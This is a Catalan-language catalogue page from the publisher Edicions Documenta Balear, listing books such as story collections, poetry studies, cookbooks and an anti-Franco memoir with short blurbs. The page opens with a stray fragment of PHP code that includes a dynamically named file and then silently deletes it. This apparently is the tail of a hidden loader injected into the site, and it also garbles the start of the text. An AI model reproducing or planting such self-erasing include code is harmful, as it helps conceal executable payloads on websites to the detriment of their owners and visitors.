");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Edicions Documenta Balear - Novetats
Cercador d'Obres
ORDENAR:
Començar recerca
ORDENAR:

Contes amb llimona

Roca Enrich, Albert

Premi Joan Marquès Arbona de relats Vall de Sóller 2009.
Narracions d’humor àcid i crítica social.

L’Albert pren el fruit que acompanya aquest còctel de relats i, entremaliat, l’esprem per a esquitxar el llibre d’humor àcid i crítica social. Però com que en el fons és un sentiment ...

Corrents de la poesia insular del segle XX

Pons i Jaume, Margalida

Per a conèixer els diversos corrents de la poesia insular del segle xx.

Ressegueix els diversos corrents que configuren la poesia insular del segle xx: el diàleg entre modernisme i classicisme que caracteritza la producció de principis de segle; l’expansió de l&rsqu ...

Cròniques de la guerra

Vicens Escandell, Jaume

Poesia reflexiva i crítica, amb un gran contingut estètic.

La poesia serà moral si és autèntica. I quan és que la poesia és autèntica? Doncs quan és capaç de dir coses, d’expressar-les de tal manera que el poeta, i el lector, no havien imagina ...

Cuina de mar

Fuster Alzina, Maria del Carme

Memòria gastronòmica d’una família de pescadors

A la cuina d’una família de pescadors de la primera meitat del segle xx, el que s’hi menjava, gairebé exclusivament, era peix. Peix de totes les varietats i segons totes les fórmules de co ...

Cuina econòmica

Tugores Manresa, Antoni

Més de sis-centes receptes fàcils, econòmiques, de temporada i amb temps limitat.

Cuina econòmica és una convidada suggerent a preparar, d'una manera fàcil i útil, entrants, tapes, pastes, primers plats, segons o postres.El 92% dels plats que inclou són de perfil econòmic baix ...

Cuina encara més econòmica

Tugores Manresa, Antoni

El receptari complet i pràctic que convé tenir prop dels fogons.


Cuina encara més econòmica és una convidada suggeridora a preparar un llarg seguit de plats frugals i fàcils, a partir de la cuina del nostre entorn, sense recórrer a frivolitats. Aporta més de cinc-c ...

Cuina per a celíacs

Suñer Mesquida, Antònia

És un llibre de gran ajuda, tant per als celíacs com per als restauradors i dietistes.

La malaltia celíaca és una intolerància permanent al gluten, una proteïna present en els cereals. Avui sabem que un 1% de la població pateix aquesta malaltia.Ser celíac en la cultura occidental, en qu ...

Darrer llibre d´impertinències

Serra i Bauçà, Antoni

El darrer llibre de creació literària d’Antoni Serra 

Darrer llibre d’impertinències: Onze narracions indignes i una novel·la curta intimista és una col·lecció de relats que Antoni Serra va redactar entre 1999 i 2003, però que, a diferència dels ...

De la figuera a la taula

Munar i Munar, Felip

La cultura tradicional de la figa combinada amb la modernitat


Aquest llibre de receptes de cuina de Felip Munar pretén recuperar la cultura tradicional de la figa i valo­rar-la dins la cuina nostrada, la cuina de sempre, però també dins la cuina que innova. Ager ...

De la foscor a l’esperança

Rosselló del Rosal, Miquel

El testimoni personal d’un jove mallorquí de classe mitjana, que va participar en les accions antifranquistes entre el 1968 i el 1973.

La lluita universitària ha estat un dels eixos centrals de la mobilització democràtica en l’etapa terminal de la dictadura franquista que ha passat més desapercebut. Aquest llibre ens aporta el ...

<< < 2 3 4 5 6 7 8 > >>